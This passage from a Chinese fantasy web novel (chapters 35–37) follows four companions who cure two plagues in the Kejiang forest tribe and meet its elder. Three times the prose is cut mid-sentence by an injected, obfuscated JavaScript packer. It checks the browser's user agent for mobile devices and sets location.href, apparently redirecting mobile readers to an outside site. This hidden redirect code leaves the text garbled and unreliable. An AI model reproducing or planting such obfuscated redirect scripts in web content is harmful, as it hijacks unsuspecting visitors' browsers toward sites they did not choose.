墨墨不知从哪冒出来,突然叫了两声,那熊像是听懂了一般,又看了一眼言朝后,转身到另一处地方又睡着了。 言朝松了口气,静坐了片刻后,摊开掌心,一股强大的力量在她掌中运转。 她现在感觉通体舒畅,是前所未有的。 言朝知道,她就快成功了。 墨墨叼起言朝身旁的大氅,示意她穿上。言朝会意,披上大氅,轻手轻脚地离开了山洞。 一出山洞,一股刺骨的寒意扑面而来,眼前白茫茫一片。 言朝裹紧了大氅,心道:“又下雪了。” 言朝抱着墨墨下山,一路上边走边道:“墨墨,今日这位熊兄弟还真不错,只是拿我当了它的枕头。你记不记得之前在海上,要不是我醒的及时,就要被鲨鱼给吞了,想想还真是有趣。” 墨墨不满地叫了两声,言朝笑道:“都这么久的事了,你还记仇呢。” 过往的许多事情,言朝都不太记得。 能让她记住的就那么几件事,好的坏的都有,其他的不过是茶余饭后的玩笑之语。 她自己早就不在意了。 一人一鸦,就这么你一言我一语地说了一路。才刚下山,天稷榜灵就出现在她面前。 言朝故意当没看见他,哼着小曲,堂而皇之地从他身边径直走过。 榜灵大声道:“喂!你什么意思啊?本榜灵这么聪明帅气又可爱,你竟然忽视我?!” 言朝停下脚步,没转身,道:“不好意思啊,这到处都是雪,你长得太不起眼儿了。” 榜灵“噌”的一声闪现到言朝面前,双手叉腰,鼓着脸,像个小包子,气呼呼地道:“你们四个年轻人就专欺负我这个老人家是吧!” 言朝无辜道:“我看你不是挺喜欢这样的嘛。” 榜灵傲娇地别过头,道:“本榜灵才没有。” 言朝也不跟他废话,直接道:“说吧,这次又是去哪?” 榜灵嘿嘿一笑,道:“克羌。” 35. 踏雪寻迹捡病郎 不知道为什么,忽然之间,言朝对克羌之行充满了期待。 也许是因为,那里是上一代天稷四君子命运的转折点,或许也会是他们四个人的转折点。 克羌坐落在北部的大森林深处,他们世世代代都生活在那里,以打猎为生,族众从未离开过那里。 这听起来像是一个隐世而居的世外之地,可实际上,这样的部落在七百年前险些被灭族,但却并不是那场三界皆知的万灵之乱,而是源于一场外族入侵。据传他们被上一代天稷四君子所救,也成了后来万灵之乱中,唯一未受分毫影响的地方。 这一路雪景奇美,墨墨就将她驮在背上,飞得不快不慢,足够让她看遍一路景色了。 言朝道:“墨墨,你还记得遥旭的一撮毛吗?差点儿忘了跟你说,我此次去鬼界,又认识了一狼一狐。叫什么来着......逐雁和辜月,它们都是风奚的伙伴,我还说下次见面要介绍你们认识呢。” 墨墨歪了歪头,叫了一声。 言朝大笑一声,道:“你也觉得他们的名字比一撮毛好听是不是?听说遥旭还养了一只大水牛,不知道叫什么名字?但想想肯定也是个有趣的名字......” 墨墨突然一个俯身下冲,要不是言朝抓得紧,就要被墨墨甩出去了。 言朝惊魂未定,拍了它一下,道:“墨墨你咋回事啊?!要不是我现在有点法力,真要被你摔个狗吃屎!这大雪天的,我真掉下去,你可就找不着我了!” 墨墨又恢复了正常飞行,只是不再搭理她。 言朝咂摸半天,道:“你不会是听我说其他小动物吃醋了吧?” 见墨墨没吭声,言朝伏在它背上,道:“哈哈哈哈哈哈哈哈哈哈哈哈!墨墨,多日不见,你怎么愈发可爱了。”言朝边说边给它顺毛,“我就你一个,那些都是别人的,我肯定还是最爱你啊!” 果真,墨墨听了之后飞得更稳了。 言朝道:“不知道这次去会吃到什么好吃的?我还真期待呢!” 这有了法力是不一样,不仅墨墨跟着变大了,出行的脚程也变快了。原本要十几日的路程,墨墨一日便能到,但硬是被言朝脱到了两三日。 不过她的法力维持不了多长时间,到地方了也就没了。 她赏尽沿途风光,心情也畅然了许多,睡了三个月,可把她憋坏了。 这一觉睡的不算长,但许是太久没有陷入沉睡,再醒来时已有隔世之感。 上一次是什么时候来着? 忘了,不重要。 眼前人事需顾,美食美景不负。 言朝到的时候,风奚已经先到了,他正坐在一片空地前烤火,他又换回莲溪时的扮相,如今再看,却是另一番心境了。 言朝朝他招手,道:“风奚,你来得真早啊!” 风奚笑着望她,道:“我也是刚到。” 言朝小跑几步,坐到他旁边,侧着身,好奇地盯着他看。 风奚觉得今日的言朝有些不一样,道:“怎么了?你为什么一直盯着我看啊?” 言朝摇了摇头,道:“新鲜。很久不见,看什么都新鲜。” 风奚被她的话逗笑了,道:“怎么说的像是你几个月没有见过人似的?” 言朝半开玩笑地道:“是啊,我好几个月没见人了。前不久见到的还是一只正在冬眠的熊。” 风奚当即抓住了言朝的手腕,脸色沉了下来,道:“你可是遇到了什么事情?” 言朝笑道:“是有点事,但是是好事。特别特别好的那种。” 风奚道:“当真?” 言朝拍着胸脯,道:“真!春山楼第一原则——保真!”她左右望了望,没见着遥旭和弥清,又道,“他们俩没和你一起来吗?” 风奚又添了把柴,道:“自从弥清来了,那小子就成天跟在她后面。不过也可以理解,他们虽然相识多年,见面的时候不多,大多是书信来往,那些信件已经能堆满一座房子了......” 遥旭和弥清是在下雪天认识的。 那时,弥清还是刚刚被怀瑜提拔上来的新人。其他被提上来小神官若想飞升,都要先在明月昭沉浮一段时间,几年到百年不等。 但弥清不同,她一上来就越过明月昭,直接进入天都,入主怀瑜的明秀殿。名义上弥清是明秀殿的辅神,实际上弥清的实力远在怀瑜之上。 怀瑜脾性古怪,出身又颇具争议,弥清后起之秀,实力强劲,虽说三个女人一台戏,但她们二人也成席。 众神官都等着看这明秀殿是要易主?还是守主? 万万没想到,两个人不仅什么都没发生,还相处得挺好。 但这种好只在一部分人眼中存在。 怀瑜经常安排弥清下界,走访三界各处,每次回来都是风尘仆仆。不知道的就认为是怀瑜在故意针对弥清,可事实上怀瑜是在磨练她,也是在帮助她。 幸运的是,弥清从一开始就明白怀瑜的良苦用心。 她们就像两座孤岛,孤岛相衔,终为陆地。 与遥旭的相遇正是源于一次下界历练。 弥清在雪原中捡到了衣衫褴褛,“奄奄一息”的遥旭,她以为他要死了,但他其实是在睡觉。 弥清从没见过他这样的人,看着平平无奇,甚至脑子有病。但没想到他收拾干净之后,倒是生了一副好皮囊。 遥旭一眼便看出弥清是神官,只是没想到弥清竟如此直白,道:“我叫弥清,是个神官,想和你交个朋友。” 弥清这话不带一点炫耀和欺压,只是单纯地表明自己的身份,纯粹地交个朋友。 遥旭觉得这姑娘有意思,也就同意了。 礼尚往来,弥清自然也知道了遥旭的真实身份。 遥旭常年在下界,不常回天,弥清平日里也有许多杂务要处理,二人便常以书信来往。一来二去的,就生出感情了。 弥清不喜欢拖泥带水,她也不在意什么天帝之子,还是人嫌瘟神,意识到自己喜欢上的那一刻,她就去找遥旭坦白,却遭到了遥旭的拒绝。 偏偏弥清是个执着的,一次不行就两次,两次不行就三次。她坚信遥旭也是喜欢她的,他们一定会在一起的。 后来也不知是被弥清的执着打动,还是使了什么别的法子,遥旭像是变了一个人,一见着弥清就害羞得不行,还闷头研究弥清喜欢的点心,变着花样做...... 不知道的,还以为是遥旭在追求弥清呢。 但他们之间的关系,一直都是秘而不宣。除了风奚,就只有易商和山乔萤知道,其他人都不知道。 但也怪不着他们,两个人身份天差地别,那是八竿子打不着的。两个人在人前碰见,只有点头之交,从无交流,也是半点儿不逾矩。只有在风奚面前,二人才袒露真意。 对于他们俩这种行为,风奚极度不认同。 若是他有了心爱之人,绝不会藏着掖着,若是彼此确定了心意,那便如往生树的念,生死不变;如千渡川的水,绵延不息。 言朝道:“想不到他们俩的故事还挺有趣的,自从上次在半闲坊她直接坦白对遥旭的感情,我就知道他们两个绝不是遥旭主动的。” 风奚挑了下眉,道:“其实有件事,弥清一直不知道。” 言朝道:“什么事?” 风奚道:“从他们第一次见面时,遥旭就喜欢上人家了。别看他平时没个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272639|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正形,心思重的很。他比任何人都希望弥清能幸福,只是没想到那个人是他自己,他有太多的顾虑,我希望他的顾虑都是多余的。” 越说到后面,风奚的语气越沉重,这还是她第一次见到风奚这个样子。 言朝没说话,但也隐约猜到了一些,她有一种强烈的预感,他们想要找的答案,和自己是一致的。 二人静默少顷,便听远处传来两道熟悉的声音。 “弥清,我跟你说,咱们俩这次肯定是先到的!” “嗯,我也这么觉得。” “等他们到了,我肯定得狠狠敲风奚一笔,至少也得给我酿上一酒窖的茶酒才好呢......” 言朝、风奚:“......” 待两人走近,看到正在他们的言朝和风奚时,遥旭原本信誓旦旦的样子顿时泄了气,勉强扯出一个笑,道:“你们来的挺早啊。” 风奚眼神戏谑,道:“是啊,作为先到的人,我该跟你要些什么东西好呢?我亲爱的弟弟。” 言朝也调侃道:“你们俩也不错啊!瞧瞧,出双入对的。” 此话一出,遥旭咳了几声,耳根瞬间红透了。 言朝刚想调侃,却被弥清抢了先,弥清紧了紧他身上的大氅,道:“都叫你出门多穿一点儿了,你偏不听!现在好了,耳朵都冻红了!” 遥旭低下头,道:“是是是!我都听你的!” 言朝看二人这一来一往的,看向风奚,低声笑道:“你看看他们俩,我也没说什么啊,都在一起了,怎么还不好意思了。” 风奚低笑一声,道:“习惯就好,但我习惯不了。” ...... 四人叙旧一番后,便朝着森林深处行进。 一路上尽是一眼望不到边的桦树林,耳边有冷风吹过,脚踩在雪地上,发出“沙沙”的声音。至少三十里之内,除他们四人和墨墨,再没见一个活物。 遥旭觉得有些不对劲,疑惑道:“真是怪了!克羌人素来以打猎为生,可自打进了这片林子,不仅没遇上一个克羌人,就连一个活的动物都看见。太奇怪了!” 弥清也道:“你们先前在夜兹外的那片胡杨林,是由阵法和法力所化。如今这里,看不出一点施法的痕迹。” 风奚停下脚步,抬手一挥,逐雁和辜月霎时出现在四人面前。 风奚道:“去吧。” 逐雁和辜月听罢,转身踏进了林海,一瞬便没了踪影。 几人留在原地等,过了约莫一盏茶的时间,它们回来了。 它们神色慌张,欲言又止。 风奚道:“发生什么事了?” 逐雁和辜月面露寒光,爪子在地上狠狠地划了几下,像是要将那雪刨穿。 风奚怔了一瞬,拧起眉头,厉声道:“你们看到的可是真的?” 此话一出,另外三人也跟着紧张起来,遥旭道:“发生什么事了?” 风奚没说话,但言朝看到,他握紧的双拳在发抖,他的额头上也渗出了一层冷汗。 不知是不是言朝的错觉,她仿佛从他的眼中看到了极力隐忍的恐惧和深不见底的悲伤。 言朝拉起他僵硬颤抖的手,关切道:“风奚,没事吧。” 风奚回过神来,目光望向言朝,淡声道:“没事。”只是一瞬,他又抬眼望向森林深处,声音有些艰涩,道,“那里,很不好。逐雁和辜月在前面发现了疫病。” 言朝道:“什么疫病?” 风奚道:“血蛛疫和狂木疫。” 此话一出,三人骤然瞳孔缩紧,只觉周身的血液在瞬息之间流得一滴不剩,剩下的只有死一般的绝望,怵在原地,共同坠入无间噩梦。 36. 拦路错把恩人误 血蛛疫。狂木疫。不祥的象征。噩梦的起源。 血蛛疫,患此疫者,全身会长满形如蜘蛛网一样的血纹,纹路密集细长凸起,可怖之极。起初长于人的背部,并无感觉,且透明不易察觉。时间越久,蛛网越清晰、越密集,待人们察觉时,血色蛛网已经遍布全身,甚至充斥在眼球里。 最终七窍流血,爆体而亡。 狂木疫,患此疫者,皮肤会变得像树皮一样坚硬。多长于颈部,奇痒无比,人们常将患处抓得血肉模糊,旧痂带新皮,循环往复。人们因此变得性情暴躁,越暴躁,皮肤就会加速硬化。 最终变成一个树人,或因无法忍受,自相残杀而死。 与这两场疫病一起来的,还有那个三界谈之色变的万灵之力。 因为它的出现: 鬼界万鬼蚕食; 人间哀鸿遍野; 天界众神陨落; 天稷四君子就此落幕。 ...... 离奇的是,在万灵之力消失后,这两种疫病也一起跟着消失了。 没有一个人解释。 这种未知的强大的可怕力量,到底是什么?来自于哪里?为什么突然消失?以后是否还会再出现? 它们来也匆匆,去也匆匆,突然的就像是一场梦。回首之时,尽是满目疮痍,恍觉一切都是真的。 七百年过去了,它们又出现了。 此事非同小可,四人一刻也不敢耽误,风奚施了一个法术,瞬息之间,就来到了克羌族的聚居之所。 四人被眼前的眼前的景象震惊了。 这里一片混乱。 用木架和树皮搭成的帐篷散乱不堪,几乎所有的牲畜都染上了血蜘疫,皮毛遍布血纹,双目欲裂,姿势各异的躺倒一片,不停地抽搐着;而这里的人则染上了狂木疫,肢体僵硬,性情暴躁,有的在生啃树皮,有的因行动不便而倒在雪中,龇牙咧嘴的艰难移动,有的则是用兽骨刀在自己尚未病变的皮肤上一刀一刀地划,鲜血顺着皮肤滴在雪中,把雪都烫化了...... 但无论是谁,即便他们已经丧失了神智,却好似有一条无形的线在拉着他们,让每个人自始至终都没有伤害自己的族人。 弥清立时召出了晓尘琴,十指在琴弦上快速拨弄,曲音融入法力,一曲流出,众人及牲畜瞬间稳定了下来,双双陷入了昏迷。 其余三人赶紧上前查看,言朝观其状态,应是发病不长时间,但症状却来得猛烈。万幸的是,此症尚可治愈。 言朝从包中掏出一个大罐子,罐子中装着满满一罐子白油纸包的药丸,只是那药丸与一般不同,大小堪比一个大杏子。 言朝忙叫风奚和遥旭来帮忙,道:“你们将这药丸给这里所有人和牲畜都服下一丸。记住!无论人畜都是一整丸。”说罢,又从包中掏出两罐,一人分了一罐。 遥旭看着那大如杏的药丸,缓缓地吞咽一口,直觉噎得慌,但也只是一瞬,现在救人要紧。 四个人分工协作,不多时便让这里的人畜都渐渐恢复了神智。 言朝的药果然有奇效,疫病的症状已经得到了缓解,虽然尚未完全根除,但只需再用上几天药,他们就能彻底恢复了。 待众人悠悠转醒,突然发现眼前出现了四个陌生面孔,众人纷纷拾起刀剑,踉跄着起身,一脸防备地看向四人。 为首的一个男人大声道:“你们是什么人?为什么会出现在在这里?你们想干什么?!说!快点!!!” 言朝揩了一把头上的汗,无奈道:“不是我说这位大哥,你一下问这么多问题,还让我们快点说,你到底想先听哪个啊?” “再说了!我们几个人刚刚才把你们这一大帮连人带畜给救回来,怪辛苦的,你们就不能让我们先喘口气儿?!我们看着很像坏人吗?” 这时,一个站在人群后的男子忽然捏着脖子,干咳了几声,声音有些短促,口齿含糊地道:“他们是不是给咱们下毒了,我怎么说话这么费劲儿啊!不对!我这下巴颏怎么也这么疼啊......” 此话一出,人群中有许多人突然间也产生了这种感觉,顷刻间,听取“呃”声一片。 遥旭见状,尴尬地挠了挠头。适才一时情急,忘了用法术将药丸送至他们体内,直接用最简单粗暴的方式,卸了他们的下巴,将药送了进去。但药丸太大,吞咽需要时间,事后也忘了把下巴再按回来。 遥旭走上前来,朝众人鞠了一躬,道:“实在抱歉啊!适才情况紧急,为了救你们不得已出此下策。”说着还伸出了手,又道,“我可以帮你们把下巴按回去的。” 众人听罢,纷纷后退。 随后,便听到“咔嚓”一声,一声接着一声的,他们自己把下巴按回去了。 遥旭:“......” 其余三人:“......” 又一男子道:“你们骗人!我们明明都好好的,要不是你们来了,我们怎么会变成这样?!!” 言朝无语,心道:“还是头一回听说血蛛疫和狂木疫能让人失去记忆的。” 弥清走到人前,高声道:“你们身中狂木疫,不是嘴里还带着树皮,就是手上还滴着血,你们难道一点儿印象都没有?” 被点到的人,这才后知后觉的发现自己的异样,一个两个的都愣在了原地。过了好半晌,他们像是忽然记起发生了什么,纷纷瘫软在地,一阵阵的后怕将他们裹挟。 风奚道:“你们到底发生了什么事?” 怎料他们又突然发疯,持刀对准他们,目露凶光,一步步地逼近,喝道:“你们来历不明!你们是外族侵略者!赶快离开这里!克羌不欢迎你们!” 遥旭道:“不是,你们是不是搞错了......” 众人齐声喝道:“快滚!!!再不走就别怪我们刀剑无眼!” 遥旭还试图解释一下,但他们根本没有商量的余地,厉声道:“你们休想摧毁克羌!克羌人立誓世代守护山林,绝不受一兵一卒的侵扰!哪怕战至最后一人,也绝不投降!!!” 四人见解释无果,便就此放弃。为避免产生冲突,四人只好先行离开。 克羌族人不放心,还派了五六个人跟着他们,直到将他们驱赶出森林,才就此罢休。 遥旭想了一路也不明白究竟发生了什么,他们怎么就这么被赶出来了? 遥旭问弥清:“你知道是怎么回事吗?” 弥清摇头。 遥旭问言朝:“那你知道是怎么回事吗?” 言朝也摇头。 遥旭刚要问风奚,就被风奚把嘴封上了。 风奚道:“你闭嘴吧。” 遥旭:“.......” 弥清道:“那我们现在怎么办?” 言朝直接往雪地里一躺,发出一声喟叹,道:“既然他们不欢迎我们,不然咱们直接回去吧!你们觉得怎么样?” 风奚哈哈笑了几声,道:“朝朝这个主意好,我觉得不错。” 弥清还是有些担心地道:“咱们就这样回去了真的可以吗?那个榜灵不会搞出什么事吧?” 言朝见她一脸认真的样子,笑道:“阿清啊阿清!我刚刚是在开玩笑的,才不会真的要走呢。凭什么他们把我们赶出来了,咱们就真随了他们的意,那绝对不可能!” “他们身上的疫毒尚未完全清除,需得连续服上几天药才行。虽然他们很有可能会硬抗,但我不会让这样的事发生的。” “我大度的很, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14278008|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用他们来请我,明日我自会回去。但今天时辰尚早,我要在这附近好好逛一圈。” 风奚道:“好,我陪你一起。” 言朝站起身,看向遥旭和弥清,道:“怎么样?要不要一起?” 遥旭噘着嘴,“嗯”了几声,风奚给他解了。 遥旭长呼了一口气,掐腰指着森林深处,大喊道:“不是他们怎么回事啊?咱们救了他们,他们还把咱们当仇人!什么意思?好人没好报啊?!!!” 风奚叹了声气,道:“我们走吧,别管他了。” 直到三人都走出二里地了,遥旭才发现就剩他自己了,道:“你们等等我啊!” 四人寻了一间驿馆,驿馆不大,守店的是一个六旬老汉,他正弓身在门前扫雪。许是太久没有人来,老汉一见到四人愣了些许,犹疑地道:“几位是住店?” 遥旭摸着咕咕叫的肚子,道:“对对对,你这有什么吃的喝的快拿上来,我快饿死了!”说完就大摇大摆地进店去了。 老汉还没反应过来,在门口站了半天没动,风奚冷眼看他,道:“还有什么问题吗?” 老汉回过神,放了扫帚,笑了一声,道:“没问题没问题。几位里边坐,我这就为你们准备酒菜。” 四人落坐在一张圆桌前,堂中的空地上放了一个火盆,但火光熹微,有些冷。这里陈设简单,收拾的也还算齐整,想来是真的很久没人来过了。 不一会,老汉端着四碗肉汤,一壶温酒,缓步走来。刚一放下,又转身提着一筐碎碳,把火盆重新点燃。做完这一系列动作,老汉坐在椅子上,摸着胸口,顺了半天气,才将将缓过来。 言朝道:“你不舒服吗?” 老汉搓了把脸,摆摆手,道:“没什么大事。就是老了,不中用了。” 既然碰见了,就不能不管。 言朝从包里掏出一个小药瓶,起身拿给老汉,探了他的脉,确认没有什么问题,才嘱咐道:“这药你每天吃上两顿,一次三颗,你的症状会慢慢缓解的。” 老汉连忙起身,推脱道:“不不不,姑娘的药我不能收。这无功不受禄,我岂有白拿的道理?” 言朝也不拉扯,指向桌上的肉汤和酒,道:“这顿饭抵这瓶药,你觉得如何?” 老汉也是爽快人,一口答应道:“好!那就多谢姑娘了。” 言朝回到桌上继续喝肉汤,遥旭凑过来,低声道:“行啊言朝!你这本事可不得了,就连那两个邪门的疫病你都能治!你这应该到上面去啊!” 上面指的自然是天都,可言朝对那个地方并不感兴趣,只道:“人生在世,要想混得好,总得有点本事傍身不是?”言朝顿了一下,又道,“至于那个疫病,那是我与一位长辈的约定。若见此疫,必除之。” 此话一出,另外三人都沉默了。 老汉见几人气质不俗,犹豫了半天,还是试探着问道:“几位也是来找宝藏的?” 风奚道:“还有别人来过吗?” 老汉回忆道:“那都是几个月前的事了。我这鸟不拉屎的地方,一年也不见得来一个人,几个月前突然来了个年轻人,看着挺和善的,说是这山林里头有宝藏。我在这生活了几十年,也没听说过这里有什么宝藏,但生活在里头的克羌人对来历不明的外人最是忌讳,他们是绝不允许意图不轨的人动这里的一草一木的。” 弥清道:“那后来呢?” 老汉接着道:“我劝过他了,但他说不要紧。进了林子没几天就出来了,我瞧他行色匆匆,也没来得及问,以为是没寻着宝藏,败兴而归。本来都快忘了,今日见着几位,又想起来了。” 四人对视一眼,心下明了。 只怕那人不是来寻宝藏,而是来下毒。 37. 克羌四君见四君 翌日清晨。 言朝一出房门就听到老汉在哼着一首她听不懂的歌,节奏欢快,唱的中气十足的,看来是身体好多了。言朝下楼时,除了老汉,还有弥清,她今日又换了一个新的木簪,像个豆荚。 言朝道:“早啊弥清!你今日的簪子很特别,不过你好像很喜欢木簪子。” 弥清笑着牵过言朝的手,道:“我还有很多木簪子呢,不知道为什么,从小就喜欢的。” 老汉见了言朝,乐呵呵地道:“姑娘,你给我的药实在神奇!我今天感觉精神多了,干活都有力气了!”说罢,老汉撸起袖子就要去搬立在一旁的半人高的水缸。 言朝大声制止:“且慢!” 老汉闻言一顿,伸出的手停在半空,定在原地,一时未敢动作。 言朝揉了揉眉心,轻叹了一声,道:“我这是药,不是仙丹,可禁不住您这么折腾。您要真想好,需得量力而行,切不可为了尽快好而擅自增加药量。”言朝看看四周,又道,“到时候真出了事,可就没人能救你了。” 老汉一听瞬间收回了手,退至一旁,不再打那口缸的主意。 言朝看他一脸心虚样,道:“你不会真的多吃药了吧。” 老汉一双手绞在一起,干笑了一声,道:“那怎么可能呢?我当然是听姑娘的。” 言朝点点头,没见着风奚和遥旭,问道:“他们呢?” 弥清道:“早上不知从哪里跑进来一只矮鹿,遥旭看着可爱,说什么也要拉着风奚一起出去看。现在应该快回来了。” 言朝奇怪道:“你都在这了,他为什么不拉着你去,带风奚是什么道理?” 弥清两手一摊,有些无奈又宠溺地笑道:“他总是有很多奇怪的想法,时常像个孩子。不过,我挺喜欢。” 言朝心道:“这俩人真是绝配啊。” “想不到那些人今天果然又出现症状了......不过看着倒是没再丧失神志了......” 遥旭的声音从门外传来,二人一进门,夹带着一身寒意,心情倒是不错。 风奚望向言朝,笑道:“朝朝,休息的可好?” 言朝道:“好。”转而望向遥旭,问道,“你们刚刚在说什么?” 遥旭听闻,连忙坐下,故作神秘地道:“你猜我们刚刚去哪了?” 言朝道:“去克羌了。” 遥旭垮下脸,道:“阿清没跟你说我们去看矮鹿了?” 言朝道:“说了,但你没带弥清。除了去克羌,你们还能去哪?” 遥旭:“......” 风奚在言朝对面坐下,给她杯中添了热水,道:“朝朝果然聪明。那些人虽然余毒未清,但已没有了发狂失志的行为。” 言朝道:“这种病太邪,如果一开始不下猛药,极易留下病根。今时不同往日,想要完全治愈,后续还得好好调理。” 说罢,言朝拿起杯子喝了口水,杯口触及的瞬间,忽然有些错愕。不知从什么时候开始,她竟对风奚这顺手的行为形成了习惯。可心里这股愈发强烈的熟悉感又是从何而来? 言朝心道:“真是睡得太久了,把脑子都睡糊涂了吗?” 遥旭道:“那咱们吃完饭就赶紧去吧!”说罢,转头招呼老汉,道:“店家,给我们上吃的吧!” 老汉道:“好嘞!几位稍等。” 不一会,老汉端着四碗肉丝面出来,边放边道:“听几位的谈话,可是克羌出了什么事?” 风奚挑了下眉,道:“不如你自己亲自进去看看?” 老汉立刻摆摆手,道:“不不不,我就不去了。我就守好自己这一亩三人地,我惜命得很。”老汉顿了一下,又道,“克羌人都很好的,他们是这山林的守护者,我们这里的人都很感念他们的。” 言朝道:“我们今日进去,近几日都不会回来。你按时吃药,切勿莽撞行事。” 老汉点头,连连应“是”。 吃过早饭,四人便再次踏进了那片林子。 弥清道:“阿朝,你刚刚说咱们几日都不会再回来,你可是确定不会再被他们赶出来?” 言朝深一脚浅一脚地踢着脚下的雪,半开玩笑道:“他们要是再敢把我们赶出来,那就让他们自生自灭吧。” 风奚道:“你不会的。” 言朝“哦?”了一声,看向风奚,道:“我要真就这么做了呢?” 风奚笑了一声,道:“那也是你自己的选择。你若真的做了,我也会觉得很好。” 言朝望向前方,道:“我的确不会不管他们,但我也不是谁都管的。” 今日的天气很好,但林子里风大,说到最后几个字时,她的声音被冷风不留痕迹地带走了。 连带着风奚未说出口的那一份。 四人再次来到克羌,仅仅过去一日,散乱的帐篷已重新搭好,族人们也在井然有序地做着各自的事情。要不是看他们因疫病导致行动不利索,真要怀疑昨日发生的一切都是假的。 今日来时,一路未见有克羌人驻守,故一路畅通无阻。 再见到今日这番场景,不免有些新奇。 有一个牵着龙角仙的中年男子发现了他们,大喊道:“拉野!是拉野来了!” 众人一听,纷纷涌上前来,齐齐跪在地上,双臂高举,高声说着一句克羌语。 神奇的是,四人竟然都听懂了。 “天神降世,佑我克羌。克羌一诺,永志不忘。” 克羌语在人间各大民族语言中,是最晦涩难懂的。克羌部又终年隐居在这片林海中,从未出现在世人的面前。若不是上一代天稷四君子发现了这里,并帮他们铲除了外敌,他们或许永远都不被外人所知。就像海市一样神秘。 因此,若无特殊需要,没人愿意钻研克羌语。言朝曾试图习得这门语言,均已失败告终。故世间除克羌族人外,几乎没人识得克羌语。 克羌人又热情好客,但也骁勇善战,他们全民皆兵,就连族中六七岁的孩子,也能徒手宰一只狼。正因如此,很少有人敢打这片土地的主意。 言朝心道:“昔日硬学不会,今日不学自通。真是此一时彼一时啊......” 遥旭最先上前,道:“那什么,你们先起来行吗?看这么多人跪我怪别扭的。还有,我为什么能听懂你们说话?” 众人听罢,纷纷起身。 一个手持长扶杖的老者从人群中走出来,用一口流利的中原话,道:“我是克羌的毕摩,拉布坦。今日故人重逢,这就当是我们的一点心意吧。” 言朝望着拉布坦,他看向他们的目光,既有重逢的喜悦,还有离别的惆怅。更深的,是对昔日故人的瞻仰。 言朝向拉布坦表示感谢:“虽然我不知道您是用什么方式让我们听懂了克羌语,但真心感谢您。早知道这样就能学会,我应该早点来才对。” 话音一落,其余三人也向拉布坦表达了谢意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321267|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拉布坦微微一笑,道:“几位于我们克羌有恩,只是这些不足挂齿。” 弥清道:“你们身上的狂木疫可感觉好些了?” 拉布坦道:“多亏了诸位,我们感觉好多了。” 遥旭见状,小声嘀咕一句:“那你们昨天还把我们从这赶出去......啊!” 遥旭闷哼一声,捂着脑袋,看向刚拍了他一掌的风奚,道:“风奚!你做甚打我?!” 风奚抱臂,嫌弃地扫了他一眼,道:“嫌你话多。”话音刚落,便径自走上前,与老者道,“你们身上的疫病还没完全根除,这几日我们会在这里为你们治疗。还有,你们究竟是如何染上的疫病?” 拉布坦闻言,惭愧地叹了声气,道:“此事说来话长,这天头冷,几位先来喝碗奶茶暖暖身子吧。” 四人随拉布坦进到一座帐篷里,火堆上的木架子正温着一壶烧好的奶茶。 拉布坦亲自为四人各倒了一碗奶茶,奶茶醇厚咸香,里面还泡着奶皮子和奶豆腐。热乎乎地喝上一口,感觉整个身子瞬间暖和了起来。 拉布坦盘坐在兽皮毯上,道:“百年前,克羌险遭灭族,幸得四位天神降临,才助我们化险为夷,他们就是上一代的天稷四君子。想必几位定是知道的。今日我族突染恶疫,又得天稷四君相助,这份恩情,克羌永不会忘!” 弥清却道:“你如何肯定我们四个就是新的天稷四君子?” 拉布坦道:“故人之姿,这是每一代毕摩......不,是每一个克羌人永远都不会忘记的样子。” 弥清不解地道:“故人?你这话是什么意思?” 拉布坦闻言,笑着摇摇头,只道:“身在局中,却似局外。你一直在寻找的东西,其实离你不远,他们一直都在你身边。只是你身上还有别的东西。” 弥清却只听到前半部分,有些激动,当即站起身,道:“你知道我的来处是吗?快告诉我!” 遥旭一把拉住弥清,道:“阿清,你先冷静。” 弥清看向遥旭,怔了一瞬,这才又坐下来。 拉布坦低头叹息一声,口中喃喃着说了一句什么,听不清楚,他转而又道:“你于克羌有恩,我可以允你一诺。你想要什么?” 弥清坚定道:“我只想知道我究竟从哪来?” 拉布坦道:“即便这可能让你将来付出极大的代价,你也愿意?” 弥清道:“我愿意......” “阿清!”遥旭突然叫住她,他的语气有些不稳,紧紧握着的手,透露着他的忐忑不安,“阿清,你真的想清楚了吗?” 弥清道:“遥旭,你知道我的。” 遥旭还是放了手,别过头,不发一言。 言朝和风奚也沉默着,他们的心中都有一个猜测,此刻整颗心都悬着,不知道还能不能落下来。 拉布坦道:“也罢。可有些事时候未到,我所知的未必就是全貌,有些事情只有你自己才能看到。我能做的,只有带你去一个人。” 弥清道:“见谁?” 拉布坦起身,道:“请诸位随我来吧。” 四人随拉布坦来到了丛林更深处的一间木屋,这屋子很隐蔽,外边还有三个人在轮番看守。 拉布坦带四人进到屋中,一入眼便是墙上的四幅画像。 那上面画的正是上一代天稷四君子。 